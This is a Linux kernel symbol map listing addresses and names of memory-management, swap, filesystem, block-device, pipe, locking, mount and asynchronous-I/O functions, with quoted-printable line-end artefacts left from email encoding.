10153f38 t __remove_shared_vm_struct=0A=
10153fc8 T unlink_file_vma=0A=
10153ff4 t remove_vma=0A=
1015405c t find_vma_prepare=0A=
101540cc T __vma_link_rb=0A=
10154104 t __vma_link=0A=
10154164 t vma_link=0A=
10154240 T vma_adjust=0A=
101545f4 t can_vma_merge_before=0A=
10154648 t can_vma_merge_after=0A=
101546b0 T vma_merge=0A=
10154898 T find_vma_prev=0A=
101548f0 T find_mergeable_anon_vma=0A=
10154a14 T vm_stat_account=0A=
10154a70 T get_unmapped_area=0A=
10154b04 T may_expand_vm=0A=
10154b2c T arch_unmap_area=0A=
10154b54 T arch_get_unmapped_area_topdown=0A=
10154ce8 T arch_unmap_area_topdown=0A=
10154d08 T expand_stack=0A=
10154e50 T find_extend_vma=0A=
10154ed4 t unmap_region=0A=
1015506c T split_vma=0A=
10155198 T do_munmap=0A=
101553f8 T do_mmap_pgoff=0A=
10155aac T sys_munmap=0A=
10155b18 T do_brk=0A=
10155d88 T sys_brk=0A=
10155e8c T exit_mmap=0A=
10156010 T insert_vm_struct=0A=
10156100 T copy_vma=0A=
10156288 T sys_mprotect=0A=
10156880 t move_page_tables=0A=
10156b6c T do_mremap=0A=
1015708c T sys_mremap=0A=
10157114 t msync_interval=0A=
10157494 T sys_msync=0A=
101575fc T anon_vma_prepare=0A=
10157690 T __anon_vma_merge=0A=
10157708 T __anon_vma_link=0A=
1015772c T anon_vma_link=0A=
10157750 T anon_vma_unlink=0A=
101577b8 t anon_vma_ctor=0A=
101577d8 t page_lock_anon_vma=0A=
101577f8 T page_address_in_vma=0A=
101578b0 T page_check_address=0A=
10157910 t page_referenced_one=0A=
10157a88 t page_referenced_file=0A=
10157b74 T page_referenced=0A=
10157cb8 T page_add_anon_rmap=0A=
10157d54 T page_add_file_rmap=0A=
10157de8 T page_remove_rmap=0A=
10157e64 t try_to_unmap_one=0A=
10158298 T try_to_unmap=0A=
101588e4 T unmap_vm_area=0A=
10158ac4 T map_vm_area=0A=
10158cd8 T __get_vm_area_node=0A=
10158ea4 T __get_vm_area=0A=
10158ec4 T get_vm_area=0A=
10158ee8 T get_vm_area_node=0A=
10158f10 T __remove_vm_area=0A=
10158f78 T remove_vm_area=0A=
10158f90 T __vunmap=0A=
101590d0 T vfree=0A=
1015912c T vunmap=0A=
10159188 T vmap=0A=
101591fc T __vmalloc_area_node=0A=
10159394 T __vmalloc_node=0A=
10159420 T __vmalloc_area=0A=
1015943c T __vmalloc=0A=
10159458 T vmalloc=0A=
10159478 T vmalloc_node=0A=
1015949c T vmalloc_exec=0A=
101594bc T vmalloc_32=0A=
101594dc T vread=0A=
10159570 T vwrite=0A=
101595fc t get_swap_bio=0A=
101596a8 t end_swap_bio_write=0A=
10159708 t end_swap_bio_read=0A=
10159794 T swap_writepage=0A=
10159854 T swap_readpage=0A=
10159918 T show_swap_cache_info=0A=
10159994 t __add_to_swap_cache=0A=
10159aac T __delete_from_swap_cache=0A=
10159b80 T add_to_swap=0A=
10159c70 T delete_from_swap_cache=0A=
10159cb4 T move_to_swap_cache=0A=
10159d84 T move_from_swap_cache=0A=
10159de8 T free_page_and_swap_cache=0A=
10159e3c T free_pages_and_swap_cache=0A=
10159ef8 T lookup_swap_cache=0A=
10159f48 T read_swap_cache_async=0A=
1015a080 T swap_unplug_io_fn=0A=
1015a15c T get_swap_page=0A=
1015a3e4 t swap_info_get=0A=
1015a4a0 t swap_entry_free=0A=
1015a54c T swap_free=0A=
1015a57c T can_share_swap_page=0A=
1015a614 T remove_exclusive_swap_page=0A=
1015a744 T free_swap_and_cache=0A=
1015a85c t unuse_mm=0A=
1015ab74 T swap_duplicate=0A=
1015ac58 T map_swap_page=0A=
1015acdc t destroy_swap_extents=0A=
1015ad44 t add_swap_extent=0A=
1015ae20 T sys_swapoff=0A=
1015b7bc t swap_start=0A=
1015b864 t swap_next=0A=
1015b8c4 t swap_stop=0A=
1015b904 t swap_show=0A=
1015b9dc t swaps_open=0A=
1015ba00 T sys_swapon=0A=
1015c3cc T si_swapinfo=0A=
1015c440 T get_swap_info_struct=0A=
1015c458 T valid_swaphandles=0A=
1015c4ec T __put_swap_token=0A=
1015c52c T grab_swap_token=0A=
1015c668 t shmem_dir_map=0A=
1015c688 t shmem_swp_map=0A=
1015c6a8 t shmem_free_blocks=0A=
1015c6d8 t shmem_recalc_inode=0A=
1015c748 t shmem_swp_entry=0A=
1015c818 t shmem_swp_set=0A=
1015c870 t shmem_swp_alloc=0A=
1015ca88 t shmem_free_swp=0A=
1015cae0 t shmem_truncate=0A=
1015cfbc t shmem_delete_inode=0A=
1015d0fc T shmem_unuse=0A=
1015d378 t shmem_writepage=0A=
1015d4cc t shmem_getpage=0A=
1015da3c t shmem_notify_change=0A=
1015db2c T shmem_nopage=0A=
1015dbcc t shmem_populate=0A=
1015dd30 T shmem_lock=0A=
1015ddb4 t shmem_mmap=0A=
1015ddf0 t shmem_get_inode=0A=
1015dfa4 t shmem_prepare_write=0A=
1015dfdc t shmem_file_write=0A=
1015e254 t do_shmem_file_read=0A=
1015e490 t shmem_file_read=0A=
1015e4ec t shmem_file_sendfile=0A=
1015e534 t shmem_statfs=0A=
1015e588 t shmem_mknod=0A=
1015e6a4 t shmem_mkdir=0A=
1015e6e0 t shmem_create=0A=
1015e700 t shmem_link=0A=
1015e814 t shmem_unlink=0A=
1015e8cc t shmem_rmdir=0A=
1015e924 t shmem_rename=0A=
1015ea40 t shmem_symlink=0A=
1015ec20 t shmem_follow_link_inline=0A=
1015ec3c t shmem_follow_link=0A=
1015ecb4 t shmem_put_link=0A=
1015ed00 t shmem_parse_options=0A=
1015efac t shmem_remount_fs=0A=
1015f080 t shmem_put_super=0A=
1015f0a4 t shmem_fill_super=0A=
1015f224 t shmem_alloc_inode=0A=
1015f258 t shmem_destroy_inode=0A=
1015f27c t init_once=0A=
1015f2ac t shmem_get_sb=0A=
1015f2d0 T shmem_file_setup=0A=
1015f4d4 T shmem_zero_setup=0A=
1015f558 T vfs_statfs=0A=
1015f5d8 t vfs_statfs_native=0A=
1015f61c t vfs_statfs64=0A=
1015f6f0 T sys_statfs=0A=
1015f778 T sys_statfs64=0A=
1015f818 T sys_fstatfs=0A=
1015f890 T sys_fstatfs64=0A=
1015f920 T do_truncate=0A=
1015f9e0 T sys_truncate=0A=
1015fb78 T sys_ftruncate=0A=
1015fccc T sys_truncate64=0A=
1015fe64 T sys_ftruncate64=0A=
1015ff8c T sys_utime=0A=
10160108 T do_utimes=0A=
10160264 T sys_utimes=0A=
101602b8 T sys_access=0A=
10160440 T sys_chdir=0A=
101604a4 T sys_fchdir=0A=
10160534 T sys_chroot=0A=
101605cc T sys_fchmod=0A=
101606d8 T sys_chmod=0A=
101607d8 t chown_common=0A=
10160900 T sys_chown=0A=
10160968 T sys_lchown=0A=
101609d0 T sys_fchown=0A=
10160a30 t __dentry_open=0A=
10160c3c T nameidata_to_filp=0A=
10160c8c T filp_open=0A=
10160cd8 T lookup_instantiate_filp=0A=
10160db8 T dentry_open=0A=
10160e24 T get_unused_fd=0A=
10160ff0 T put_unused_fd=0A=
10161034 T fd_install=0A=
1016109c T do_sys_open=0A=
101611a8 T sys_open=0A=
101611c0 T sys_creat=0A=
101611e0 T filp_close=0A=
1016126c T sys_close=0A=
10161318 T sys_vhangup=0A=
1016136c T generic_file_open=0A=
10161394 T nonseekable_open=0A=
101613a8 T generic_file_llseek=0A=
101614c4 T remote_llseek=0A=
10161548 T no_llseek=0A=
10161554 T default_llseek=0A=
101615b8 T vfs_llseek=0A=
1016160c T sys_lseek=0A=
101616a4 T sys_llseek=0A=
10161778 T rw_verify_area=0A=
10161814 t wait_on_retry_sync_kiocb=0A=
10161870 T do_sync_read=0A=
10161988 T vfs_read=0A=
10161b08 T do_sync_write=0A=
10161c20 T vfs_write=0A=
10161da0 T sys_read=0A=
10161e3c T sys_write=0A=
10161ed8 T sys_pread64=0A=
10161f6c T sys_pwrite64=0A=
10162000 T iov_shorten=0A=
1016203c t do_readv_writev=0A=
101622bc T vfs_readv=0A=
10162320 T vfs_writev=0A=
10162384 T sys_readv=0A=
1016246c T sys_writev=0A=
10162554 t do_sendfile=0A=
10162818 T sys_sendfile=0A=
101628f4 T sys_sendfile64=0A=
101629e4 T filp_ctor=0A=
10162a0c T filp_dtor=0A=
10162a28 t file_free_rcu=0A=
10162a4c T get_empty_filp=0A=
10162b40 T file_kill=0A=
10162b60 T __fput=0A=
10162cf4 T fput=0A=
10162d2c T fget=0A=
10162dac T fget_light=0A=
10162e64 T put_filp=0A=
10162eb8 T file_move=0A=
10162ee4 T fs_may_remount_ro=0A=
10162f50 T __brelse=0A=
10162fc8 T __bforget=0A=
10163014 T __wait_on_buffer=0A=
1016304c T __lock_buffer=0A=
101630a0 T init_buffer=0A=
101630ac t sync_buffer=0A=
10163104 T unlock_buffer=0A=
10163134 t buffer_io_error=0A=
10163178 T end_buffer_read_sync=0A=
101631e0 T end_buffer_write_sync=0A=
101632a0 T sync_blockdev=0A=
101632ec T fsync_super=0A=
10163400 T fsync_bdev=0A=
10163454 T freeze_bdev=0A=
101635e4 T thaw_bdev=0A=
1016369c t do_sync=0A=
1016370c T sys_sync=0A=
1016372c T emergency_sync=0A=
10163750 T file_fsync=0A=
1016384c t do_fsync=0A=
1016396c T sys_fsync=0A=
10163988 T sys_fdatasync=0A=
101639a4 t __find_get_block_slow=0A=
10163ac4 t free_more_memory=0A=
10163b10 t end_buffer_async_read=0A=
10163c74 T end_buffer_async_write=0A=
10163dc4 T mark_buffer_async_write=0A=
10163de8 T inode_has_buffers=0A=
10163dfc T __set_page_dirty_buffers=0A=
10163ed4 T invalidate_inode_buffers=0A=
10163f28 T remove_inode_buffers=0A=
10163fa4 T set_bh_page=0A=
10164014 t init_page_buffers=0A=
101640c0 T mark_buffer_dirty=0A=
10164110 T mark_buffer_dirty_inode=0A=
101641b8 T __find_get_block=0A=
10164394 T invalidate_bdev=0A=
101643f0 T do_invalidatepage=0A=
10164424 T unmap_underlying_metadata=0A=
10164490 t __block_commit_write=0A=
101645b4 T generic_cont_expand=0A=
101646e4 T generic_commit_write=0A=
1016476c T block_commit_write=0A=
101647a4 t end_buffer_read_nobh=0A=
101647f0 T nobh_commit_write=0A=
10164878 T nobh_truncate_page=0A=
10164970 T generic_block_bmap=0A=
101649a8 t end_bio_bh_io_sync=0A=
10164a20 T submit_bh=0A=
10164bb0 T ll_rw_block=0A=
10164d0c T write_boundary_block=0A=
10164d68 T sync_mapping_buffers=0A=
10164f8c T sync_dirty_buffer=0A=
101650d4 t drop_buffers=0A=
101651cc T block_sync_page=0A=
1016522c T sys_bdflush=0A=
101652b4 t recalc_bh_state=0A=
101652f8 T alloc_buffer_head=0A=
10165340 T free_buffer_head=0A=
101653b4 T try_to_free_buffers=0A=
10165470 T try_to_release_page=0A=
101654f8 T block_invalidatepage=0A=
10165664 T nobh_prepare_write=0A=
10165a10 T alloc_page_buffers=0A=
10165ae0 T create_empty_buffers=0A=
10165bd0 t __block_write_full_page=0A=
10165fa8 T block_write_full_page=0A=
101660a0 T nobh_writepage=0A=
10166180 T block_truncate_page=0A=
101663a4 t __block_prepare_write=0A=
101667e8 T block_prepare_write=0A=
10166838 T cont_prepare_write=0A=
10166ad0 T block_read_full_page=0A=
10166dd8 T __getblk=0A=
10167008 T __bread=0A=
101670e8 T __breadahead=0A=
1016712c t init_buffer_head=0A=
10167168 T bio_free=0A=
101671e0 t bio_fs_destructor=0A=
10167200 T bio_init=0A=
10167248 T bio_alloc_bioset=0A=
101673e4 T bio_alloc=0A=
10167414 T zero_fill_bio=0A=
101674a4 T bio_put=0A=
1016751c T bio_phys_segments=0A=
10167548 T bio_hw_segments=0A=
10167574 T __bio_clone=0A=
10167634 T bio_clone=0A=
10167714 T bio_get_nr_vecs=0A=
10167748 t __bio_add_page=0A=
1016791c T bio_add_page=0A=
1016795c t bio_free_map_data=0A=
10167984 T bio_uncopy_user=0A=
10167a90 T bio_copy_user=0A=
10167cec T bio_endio=0A=
10167d88 T bio_unmap_user=0A=
10167dfc T bio_map_user_iov=0A=
10168140 T bio_map_user=0A=
10168170 t bio_map_kern_endio=0A=
1016819c T bio_map_kern=0A=
101682c8 T bio_set_pages_dirty=0A=
10168334 t bio_dirty_fn=0A=
101683d4 T bio_check_pages_dirty=0A=
101684b8 T bio_pair_release=0A=
10168510 t bio_pair_end_1=0A=
1016854c t bio_pair_end_2=0A=
10168588 T bio_split=0A=
10168700 t bio_pair_alloc=0A=
1016873c t bio_pair_free=0A=
10168754 T bioset_free=0A=
101687bc T bioset_create=0A=
101688d4 T __put_super=0A=
10168908 T __put_super_and_need_restart=0A=
10168974 t put_super=0A=
1016898c T deactivate_super=0A=
10168a08 T generic_shutdown_super=0A=
10168b9c T sget=0A=
10168f2c T drop_super=0A=
10168f54 T sync_supers=0A=
101690a8 T sync_filesystems=0A=
1016922c T get_super=0A=
101692e8 T user_get_super=0A=
101693a0 T sys_ustat=0A=
10169458 T do_remount_sb=0A=
1016962c t do_emergency_remount=0A=
101696d0 T emergency_remount=0A=
101696f4 T set_anon_super=0A=
1016978c T kill_anon_super=0A=
101697bc T kill_litter_super=0A=
101697f0 t set_bdev_super=0A=
10169804 t test_bdev_super=0A=
10169814 t bdev_uevent=0A=
10169850 T get_sb_bdev=0A=
101699fc T kill_block_super=0A=
10169a44 T get_sb_nodev=0A=
10169af4 t compare_single=0A=
10169afc T get_sb_single=0A=
10169bc8 T do_kern_mount=0A=
10169cf8 T kern_mount=0A=
10169d20 t generic_writepages=0A=
10169d3c T I_BDEV=0A=
10169d44 t max_block=0A=
10169d98 t kill_bdev=0A=
10169dcc T set_blocksize=0A=
10169e78 T sb_set_blocksize=0A=
10169ed4 T sb_min_blocksize=0A=
10169f14 t blkdev_get_block=0A=
10169f90 t blkdev_get_blocks=0A=
1016a034 t blkdev_direct_IO=0A=
1016a094 t blkdev_writepage=0A=
1016a0b8 t blkdev_readpage=0A=
1016a0dc t blkdev_prepare_write=0A=
1016a108 t blkdev_commit_write=0A=
1016a12c t block_llseek=0A=
1016a248 t block_fsync=0A=
1016a26c t bdev_alloc_inode=0A=
1016a2a0 t bdev_destroy_inode=0A=
1016a2c8 t init_once=0A=
1016a3a8 t init_once=0A=
1016a3d4 t init_once=0A=
1016a400 t init_once=0A=
1016a430 t init_once=0A=
1016a470 t init_once=0A=
1016a4f0 t init_once=0A=
1016a520 t bdev_clear_inode=0A=
1016a588 t bd_get_sb=0A=
1016a5b8 t bdev_test=0A=
1016a5cc t bdev_set=0A=
1016a5dc T bdget=0A=
1016a6d8 T nr_blockdev_pages=0A=
1016a71c T bdput=0A=
1016a738 t bd_acquire=0A=
1016a7dc T bd_forget=0A=
1016a810 T bd_claim=0A=
1016a880 T bd_release=0A=
1016a8b0 T check_disk_change=0A=
1016a948 T bd_set_size=0A=
1016a9c4 T blkdev_put=0A=
1016ab90 t do_open=0A=
1016af9c T blkdev_get=0A=
1016b038 T open_by_devnum=0A=
1016b080 t blkdev_open=0A=
1016b104 t blkdev_close=0A=
1016b140 t blkdev_file_write=0A=
1016b168 t blkdev_file_aio_write=0A=
1016b194 t block_ioctl=0A=
1016b1c8 T ioctl_by_bdev=0A=
1016b208 T lookup_bdev=0A=
1016b2ac T open_bdev_excl=0A=
1016b358 T close_bdev_excl=0A=
1016b37c T get_chrdev_list=0A=
1016b484 t __register_chrdev_region=0A=
1016b644 t __unregister_chrdev_region=0A=
1016b750 T register_chrdev_region=0A=
1016b828 T alloc_chrdev_region=0A=
1016b874 T unregister_chrdev_region=0A=
1016b8d0 t cdev_get=0A=
1016b960 T cdev_put=0A=
1016b9b8 T chrdev_open=0A=
1016bb20 T cd_forget=0A=
1016bb44 t cdev_purge=0A=
1016bb7c t exact_match=0A=
1016bb84 t exact_lock=0A=
1016bba8 T cdev_add=0A=
1016bbf0 T cdev_del=0A=
1016bc24 T unregister_chrdev=0A=
1016bc64 t cdev_default_release=0A=
1016bc7c t cdev_dynamic_release=0A=
1016bca0 T cdev_alloc=0A=
1016bcfc T register_chrdev=0A=
1016be10 T cdev_init=0A=
1016be64 t base_probe=0A=
1016bea8 T generic_fillattr=0A=
1016bf38 T vfs_getattr=0A=
1016bfdc T vfs_stat=0A=
1016c038 T vfs_lstat=0A=
1016c094 T vfs_fstat=0A=
1016c0e8 t cp_new_stat=0A=
1016c234 T sys_newstat=0A=
1016c270 T sys_newlstat=0A=
1016c2ac T sys_newfstat=0A=
1016c2e8 T sys_readlink=0A=
1016c390 t cp_new_stat64=0A=
1016c4cc T sys_stat64=0A=
1016c508 T sys_lstat64=0A=
1016c544 T sys_fstat64=0A=
1016c580 T inode_add_bytes=0A=
1016c5c4 T inode_sub_bytes=0A=
1016c62c T inode_get_bytes=0A=
1016c650 T inode_set_bytes=0A=
1016c664 T register_binfmt=0A=
1016c6bc T unregister_binfmt=0A=
1016c6f8 T sys_uselib=0A=
1016c84c t count=0A=
1016c8d8 t copy_strings=0A=
1016cab4 T copy_strings_kernel=0A=
1016cae4 T install_arg_page=0A=
1016cc2c T setup_arg_pages=0A=
1016cf10 T open_exec=0A=
1016cff0 T kernel_read=0A=
1016d044 T get_task_comm=0A=
1016d064 T set_task_comm=0A=
1016d084 T flush_old_exec=0A=
1016d918 T prepare_binprm=0A=
1016da1c T compute_creds=0A=
1016da90 T remove_arg_zero=0A=
1016db04 T search_binary_handler=0A=
1016dd64 T do_execve=0A=
1016df8c T set_binfmt=0A=
1016e028 T do_coredump=0A=
1016e69c T pipe_wait=0A=
1016e7a0 t anon_pipe_buf_release=0A=
1016e7dc t anon_pipe_buf_map=0A=
1016e800 t anon_pipe_buf_unmap=0A=
1016e804 t pipe_readv=0A=
1016eb44 t pipe_read=0A=
1016eb6c t pipe_writev=0A=
1016f16c t pipe_write=0A=
1016f194 t bad_pipe_r=0A=
1016f19c t bad_pipe_w=0A=
1016f1a4 t pipe_ioctl=0A=
1016f294 t pipe_poll=0A=
1016f360 T free_pipe_info=0A=
1016f3d0 t pipe_release=0A=
1016f4d4 t pipe_read_fasync=0A=
1016f590 t pipe_write_fasync=0A=
1016f64c t pipe_rdwr_fasync=0A=
1016f72c t pipe_read_release=0A=
1016f760 t pipe_write_release=0A=
1016f794 t pipe_rdwr_release=0A=
1016f7d8 t pipe_read_open=0A=
1016f864 t pipe_write_open=0A=
1016f8f0 t pipe_rdwr_open=0A=
1016f99c T pipe_new=0A=
1016fa10 t pipefs_delete_dentry=0A=
1016fa18 T do_pipe=0A=
1016fd0c t pipefs_get_sb=0A=
1016fd38 T getname=0A=
1016fe24 T generic_permission=0A=
1016ff5c T permission=0A=
1016ffec T vfs_permission=0A=
10170010 T file_permission=0A=
10170034 T get_write_access=0A=
10170060 T deny_write_access=0A=
10170094 T path_release=0A=
101700cc T path_release_on_umount=0A=
101700f4 T release_open_intent=0A=
10170128 T follow_up=0A=
10170204 t __follow_mount=0A=
101702d8 t follow_mount=0A=
101703a0 T follow_down=0A=
1017045c t do_lookup=0A=
1017065c T path_walk=0A=
10170680 t __emul_lookup_dentry=0A=
10170828 t __link_path_walk=0A=
101715b8 T link_path_walk=0A=
1017172c T path_lookup=0A=
1017191c T set_fs_altroot=0A=
101719a0 t __path_lookup_intent_open=0A=
10171a50 T path_lookup_open=0A=
10171a6c T __user_path_lookup_open=0A=
10171aec t __lookup_hash=0A=
10171c1c T lookup_hash=0A=
10171c40 T lookup_one_len=0A=
10171cc0 T __user_walk=0A=
10171d30 T lock_rename=0A=
10171ee4 T unlock_rename=0A=
10171f9c T vfs_create=0A=
10172080 T may_open=0A=
1017225c T open_namei=0A=
10172938 T lookup_create=0A=
101729f4 T vfs_mknod=0A=
10172b18 T sys_mknod=0A=
10172d1c T vfs_mkdir=0A=
10172dec T sys_mkdir=0A=
10172f04 T dentry_unhash=0A=
10172fb8 T vfs_rmdir=0A=
101731c0 T sys_rmdir=0A=
101732fc T vfs_unlink=0A=
101734e8 T sys_unlink=0A=
10173680 T vfs_symlink=0A=
1017374c T sys_symlink=0A=
10173874 T vfs_link=0A=
101739f0 T sys_link=0A=
10173b1c T vfs_rename=0A=
10174118 T sys_rename=0A=
10174314 T vfs_readlink=0A=
10174390 T generic_readlink=0A=
1017444c T vfs_follow_link=0A=
10174658 t page_getlink=0A=
101746f8 T page_readlink=0A=
1017476c T page_follow_link_light=0A=
101747a8 T page_put_link=0A=
101747d0 T page_symlink=0A=
10174934 T set_close_on_exec=0A=
10174980 t dupfd=0A=
10174b8c T sys_dup2=0A=
10174cd4 T sys_dup=0A=
10174d08 t f_modown=0A=
10174d30 T f_setown=0A=
10174d6c T f_delown=0A=
10174d98 t do_fcntl=0A=
1017508c T sys_fcntl=0A=
101750f4 T sys_fcntl64=0A=
101751a4 t send_sigio_to_task=0A=
10175298 T send_sigio=0A=
10175358 t send_sigurg_to_task=0A=
101753a8 T send_sigurg=0A=
10175448 T fasync_helper=0A=
10175538 T __kill_fasync=0A=
101755c8 T kill_fasync=0A=
101755f0 t do_ioctl=0A=
10175660 T vfs_ioctl=0A=
10175998 T sys_ioctl=0A=
10175a1c T vfs_readdir=0A=
10175b10 t fillonedir=0A=
10175c24 T old_readdir=0A=
10175c90 t filldir=0A=
10175e08 T sys_getdents=0A=
10175ec8 t filldir64=0A=
1017608c T sys_getdents64=0A=
1017615c T poll_initwait=0A=
10176174 T poll_freewait=0A=
101761d4 t __pollwait=0A=
101762cc T do_select=0A=
10176680 T sys_select=0A=
10176a34 T sys_poll=0A=
10176da0 t wait_for_partner=0A=
10176df8 t wake_up_partner=0A=
10176e20 t fifo_open=0A=
10177108 T locks_mandatory_locked=0A=
10177148 t locks_alloc_lock=0A=
1017716c T locks_init_lock=0A=
101771d8 T locks_copy_lock=0A=
1017728c t assign_type=0A=
101772a4 t flock_to_posix_lock=0A=
101773f4 t flock64_to_posix_lock=0A=
10177554 t lease_break_callback=0A=
1017757c t lease_release_private_callback=0A=
101775b0 t lease_mylease_callback=0A=
101775c4 t lease_init=0A=
10177718 t lease_alloc=0A=
10177778 t locks_delete_block=0A=
101777b8 t locks_insert_block=0A=
1017789c t locks_wake_up_blocks=0A=
1017794c t locks_insert_lock=0A=
101779a8 t locks_delete_lock=0A=
10177b00 t locks_conflict=0A=
10177b1c t posix_locks_conflict=0A=
10177be8 T posix_test_lock=0A=
10177c40 T posix_locks_deadlock=0A=
10177d50 t __posix_lock_file=0A=
10178288 T posix_lock_file=0A=
101782a8 T locks_mandatory_area=0A=
10178498 T posix_lock_file_wait=0A=
101785c8 T lease_modify=0A=
10178624 t time_out_leases=0A=
101786a8 T __break_lease=0A=
10178ac0 T lease_get_mtime=0A=
10178b28 T fcntl_getlease=0A=
10178ba8 t __setlease=0A=
10178da0 T setlease=0A=
10178e20 T fcntl_setlease=0A=
10178f80 T flock_lock_file_wait=0A=
101791d4 T sys_flock=0A=
101793e0 T fcntl_getlk=0A=
1017957c T fcntl_setlk=0A=
101798d8 T fcntl_getlk64=0A=
10179a50 T fcntl_setlk64=0A=
10179dac T locks_remove_posix=0A=
10179ee8 T locks_remove_flock=0A=
1017a048 T posix_block_lock=0A=
1017a060 T posix_unblock_lock=0A=
1017a0d0 t lock_get_status=0A=
1017a37c t move_lock_status=0A=
1017a41c T get_locks_status=0A=
1017a574 T lock_may_read=0A=
1017a620 T lock_may_write=0A=
1017a6bc T steal_locks=0A=
1017a760 T d_instantiate=0A=
1017a7cc t d_callback=0A=
1017a80c t d_free=0A=
1017a850 T dput=0A=
1017aa5c T dget_locked=0A=
1017aab4 T d_instantiate_unique=0A=
1017abf4 t __d_find_alias=0A=
1017ad18 T d_find_alias=0A=
1017ad34 T d_prune_aliases=0A=
1017ae1c t prune_dcache=0A=
1017afec T shrink_dcache_sb=0A=
1017b1e8 T have_submounts=0A=
1017b244 T shrink_dcache_parent=0A=
1017b340 T d_invalidate=0A=
1017b3dc T shrink_dcache_anon=0A=
1017b498 t shrink_dcache_memory=0A=
1017b4ec T d_alloc=0A=
1017b6b4 T d_alloc_name=0A=
1017b72c T d_alloc_root=0A=
1017b780 T d_alloc_anon=0A=
1017b870 T __d_lookup=0A=
1017b9c8 T d_lookup=0A=
1017ba34 T d_validate=0A=
1017bb34 T d_delete=0A=
1017bc60 t __d_rehash=0A=
1017bc8c T d_rehash=0A=
1017bcf0 T d_move=0A=
1017bf3c T d_splice_alias=0A=
1017c018 t __d_path=0A=
1017c15c T d_path=0A=
1017c248 T sys_getcwd=0A=
1017c45c T is_subdir=0A=
1017c4a0 T d_genocide=0A=
1017c52c T find_inode_number=0A=
1017c5ec t alloc_inode=0A=
1017c734 T destroy_inode=0A=
1017c7b8 T inode_init_once=0A=
1017c8d4 T __iget=0A=
1017c964 T clear_inode=0A=
1017ca30 T new_inode=0A=
1017cacc T __insert_inode_hash=0A=
1017cb44 T igrab=0A=
1017cb84 T remove_inode_hash=0A=
1017cba8 T iput=0A=
1017cc5c T bmap=0A=
1017cc90 T update_atime=0A=
1017cd38 T inode_update_time=0A=
1017ce0c T inode_needs_sync=0A=
1017ce5c T inode_wait=0A=
1017ce78 t __wait_on_freeing_inode=0A=
1017cf40 t find_inode_fast=0A=
1017cfd8 T ilookup=0A=
1017d08c T iget_locked=0A=
1017d230 T iunique=0A=
1017d2f0 t find_inode=0A=
1017d3a8 T ilookup5=0A=
1017d458 T ilookup5_nowait=0A=
1017d4e4 T iget5_locked=0A=
1017d6c4 T wake_up_inode=0A=
1017d6e4 t dispose_list=0A=
1017d7dc t shrink_icache_memory=0A=
1017da34 T invalidate_inodes=0A=
1017db9c T __invalidate_device=0A=
1017dc00 T generic_delete_inode=0A=
1017dd28 T generic_drop_inode=0A=
1017deac T unlock_new_inode=0A=
1017ded4 T init_special_inode=0A=
1017df64 T inode_change_ok=0A=
1017e12c T inode_setattr=0A=
1017e294 T notify_change=0A=
1017e50c t return_EIO=0A=
1017e514 T make_bad_inode=0A=
1017e570 T is_bad_inode=0A=
1017e588 T alloc_fd_array=0A=
1017e5c8 T free_fd_array=0A=
1017e618 T free_fdset=0A=
1017e660 t __free_fdtable=0A=
1017e6a4 t fdtable_timer=0A=
1017e6e4 t free_fdtable_work=0A=
1017e73c t free_fdtable_rcu=0A=
1017e85c T free_fdtable=0A=
1017e8b0 T alloc_fdset=0A=
1017e8fc T expand_files=0A=
1017ebe0 T get_filesystem=0A=
1017ec50 T put_filesystem=0A=
1017ec9c t find_filesystem=0A=
1017ecf4 T register_filesystem=0A=
1017ed58 T unregister_filesystem=0A=
1017ed94 T sys_sysfs=0A=
1017ef10 T get_filesystem_list=0A=
1017efa0 T get_fs_type=0A=
1017f068 T alloc_vfsmnt=0A=
1017f164 T free_vfsmnt=0A=
1017f194 T __lookup_mnt=0A=
1017f208 T lookup_mnt=0A=
1017f244 t touch_namespace=0A=
1017f28c t detach_mnt=0A=
1017f2f0 T mnt_set_mountpoint=0A=
1017f384 t attach_mnt=0A=
1017f42c t commit_tree=0A=
1017f564 t next_mnt=0A=
1017f598 t clone_mnt=0A=
1017f730 T mntput_no_expire=0A=
1017f7b8 T mnt_pin=0A=
1017f7c8 T mnt_unpin=0A=
1017f7f8 t m_start=0A=
1017f878 t m_start=0A=
1017f994 t m_next=0A=
1017f9c8 t m_next=0A=
1017fa60 t m_stop=0A=
1017fa80 t m_stop=0A=
1017fac4 t show_vfsmnt=0A=
1017fc24 T may_umount_tree=0A=
1017fc80 T may_umount=0A=
1017fca4 T release_mounts=0A=
1017fd30 T umount_tree=0A=
1017fe84 T __put_namespace=0A=
1017ff08 T sys_umount=0A=
101800f4 T sys_oldumount=0A=
10180110 T copy_tree=0A=
101802dc t attach_recursive_mnt=0A=
1018041c t graft_tree=0A=
10180538 T do_add_mount=0A=
10180668 T mark_mounts_for_expiry=0A=
1018087c T copy_mount_options=0A=
1018099c T do_mount=0A=
10180fec T copy_namespace=0A=
101812b8 T sys_mount=0A=
101813a4 T set_fs_root=0A=
1018145c T set_fs_pwd=0A=
10181514 T sys_pivot_root=0A=
10181948 t aio_free_ring=0A=
101819ec t aio_cancel_all=0A=
10181a98 t wait_for_all_aios=0A=
10181b48 T wait_on_sync_kiocb=0A=
10181ba0 T __put_ioctx=0A=
10181c94 T exit_aio=0A=
10181d64 t __aio_get_req=0A=
10181ec0 t aio_fput_routine=0A=
10182008 t __aio_put_req=0A=
1018217c T aio_put_req=0A=
1018221c T lookup_ioctx=0A=
101822b4 T aio_complete=0A=
101824a0 t aio_queue_work=0A=
101824d8 t aio_run_iocb=0A=
1018266c t __aio_run_iocbs=0A=
101827a4 t aio_kick_handler=0A=
10182914 T kick_iocb=0A=
10182a00 t aio_read_evt=0A=
10182ac4 t timeout_func=0A=
10182aec t io_destroy=0A=
10182bf4 T sys_io_setup=0A=
10183008 T sys_io_destroy=0A=
10183038 t aio_pread=0A=
101830f4 t aio_pwrite=0A=
10183180 t aio_fdsync=0A=
101831b4 t aio_fsync=0A=
101831e8 t aio_wake_function=0A=
10183228 T io_submit_one=0A=
101834bc T sys_io_submit=0A=
10183604 T sys_io_cancel=0A=
101837dc T sys_io_getevents=0A=
10183b90 T seq_open=0A=
10183c60 T seq_read=0A=
10184008 T seq_lseek=0A=
1018432c T seq_release=0A=
10184358 T seq_escape=0A=
10184448 T seq_printf=0A=
101844bc T seq_path=0A=
101845bc t single_start=0A=
101845d4 t single_next=0A=
101845f4 t single_stop=0A=
101845f8 T single_open=0A=
101846a0 T single_release=0A=
101846d8 T seq_release_private=0A=
10184720 T seq_putc=0A=
10184750 T seq_puts=0A=
101847c8 t setxattr=0A=
101849e0 T sys_setxattr=0A=
10184a60 T sys_lsetxattr=0A=
10184ae0 T sys_fsetxattr=0A=
10184b58 t getxattr=0A=
